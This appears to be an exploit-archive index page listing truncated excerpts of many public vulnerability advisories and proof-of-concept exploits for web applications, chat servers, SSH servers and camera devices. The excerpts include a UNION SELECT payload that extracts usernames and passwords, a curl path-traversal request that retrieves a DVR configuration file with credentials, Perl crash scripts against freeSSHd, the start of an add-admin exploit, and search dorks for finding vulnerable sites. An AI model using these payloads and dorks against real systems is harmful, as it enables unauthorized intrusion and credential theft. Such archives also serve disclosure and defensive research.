MobPartner Chat - Multiple SQL Injections

MobPartner Chat - Multiple SQL Injections MobPartner Chat Multiple Sql Injection Vulnerability ============================================================================ .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : MobPartner...

MobPartner Chat Multiple Sql Injection Vulnerabilities

Exploit for unknown platform in category web applications ====================================================== MobPartner Chat Multiple Sql Injection Vulnerabilities ====================================================== .:. Script : MobPartner .:. Download Script:...

crownweb (page.cfm) Sql Injection Vulnerability

Exploit for unknown platform in category web applications =============================================== crownweb page.cfm Sql Injection Vulnerability =============================================== .:. Script : crownweb .:. Language : Cfm .:. Script Download: http://www.crownweb.net/ .:. Bug Ty...

EFS Easy Chat Server Buffer Overflow

$Id: caigatewaydebug.rb 6568 2009-05-19 13:20:32Z hdm $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

EFS Easy Chat server Universal BOF-SEH (Meta)

Exploit for unknown platform in category remote exploits ============================================= EFS Easy Chat server Universal BOF-SEH Meta ============================================= $Id: caigatewaydebug.rb 6568 2009-05-19 13:20:32Z hdm $ This file is part of the Metasploit Framework an...

Trend micro - IWSVA/IWSS - Authorization module password leak

There is possbile get username and password from "Proxy-Authorization" header, which is not correctly removed when authorization header sends WMP. Requirements: - IWSVA/IWSS basic authorization on - Client is using WMP 8-11 as video player - Standalone proxy if upstream proxy is used,...

Swann Security CCTV DVR Disclosure

Dear BugTraq Readers, It is possible to download the configuration containing usernames/passwords to this CCTV DVR which is being marketed by Swann Security suspect that it is a rebranded AVTech unit tez@tetris $ curl http://192.168.2.100/../../var/run/vynetman.cfg Padmin111111 the above are the...

WowWee Rovio Insufficient Access Controls

SUMMARY WowWee Rovio - Insufficient Access Controls - Covert Audio/Video Snooping Possible OVERVIEW Rovio from WowWee does not adequately secure all accessible URLs or media streams, enabling an unauthorized user with network access to the robotic webcam platform the ability to listen to and view...

FLDS 1.2a SQL Injection In lpro.php

Free Links Directory Script id SQL Injection Vulnerability Author: nuclear site: http://flds-script.com vuln: http://localhost/path/lpro.php?id=-1 UNION SELECT 1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11 from users demo:...

bosdevbosclass-sql.txt

Powered by BosClassifieds remote sql inj index.php catidid ---------------------------------------------------------- Discovered By: ZoRLu Date: 03.11.2008 Home: www.z0rlu.blogspot.com contact: [email protected] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : N0T: a.q kpss yuzden nete ara...

freeSSHd 1.2.1 - (Authenticated) SFTP rename Remote Buffer Overflow (PoC)

freeSSHd 1.2.1 - Authenticated SFTP rename Remote Buffer Overflow PoC !/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos =...

freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)

!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 550000; $ssh2 = Net::SSH2-new; $ssh2-connect$host, $port || die...

freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC)

!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash 2 -- A Product of Fuzzing. Stay Tuned For More. use Net::SSH2; $host = "192.168.0.100"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 262145; $ssh2 = Net::SSH2-new; $ssh2-connect$host,...

Joomla Simple Shop Galore Component 3.x (catid) SQL Injection

No description provided by source. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @ Joomla option: comsimpleshop SQL Injection ------------------------------------------------------ @ AUTHOR: eXeCuTeR executerxatgmaildotcom...

CMS MAXSITE 1.10 - category SQL Injection

CMS MAXSITE 1.10 - category SQL Injection CMS MAXSITE Remote SQL Injection Exploit = 1.10 + Author: Tesz @ THD + Home: http://www.thaishadow.com + Forum: http://www.thaishadow.com/board/index.php + Download: http://maxsite.geniuscyber.com/index.php?name=index + Dork: MAXSITE or intitle:"MAXSITE" ...

kq-admin.txt

!/usr/bin/perl use strict; use LWP::UserAgent; print "-+------------------------------------------+-\n"; print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n"; print "-+------------------------------------------+-\n"; print "-+- Discovered && Coded By t0pP8uzz -+-\n"; print "-+- This Exploit...

sitesift-sql.txt

powered by Site Sift scripts SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : powered by Site Sift DORK 2 : allinurl: "index php go addpage" DORK 2 : allinurl: "index.php?go=deta...

Site Sift Listings - id SQL Injection

Site Sift Listings - id SQL Injection powered by Site Sift scripts SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : powered by Site Sift DORK 2 : allinurl: "index php go addpage"...

FaScript FaPhoto 1.0 - show.php SQL Injection

FaScript FaPhoto 1.0 - show.php SQL Injection AUTHOR : IRCRASH Dr.Crash Script Download : http://en.fascript.com/en.faphoto.zip Injection Adress : http://Sitename/faname/show.php?id= Help : In This Script Admin Username and Password Save in ./admin/pconfig.php You can open this file with loadfile...

Joomla! Component Acajoom 1.1.5 - SQL Injection

Joomla Component comacajoom SQL Injection Author: fataku Mail : [email protected] Dorks 1 : inurl:"comacajoom" mailingid Sploit:...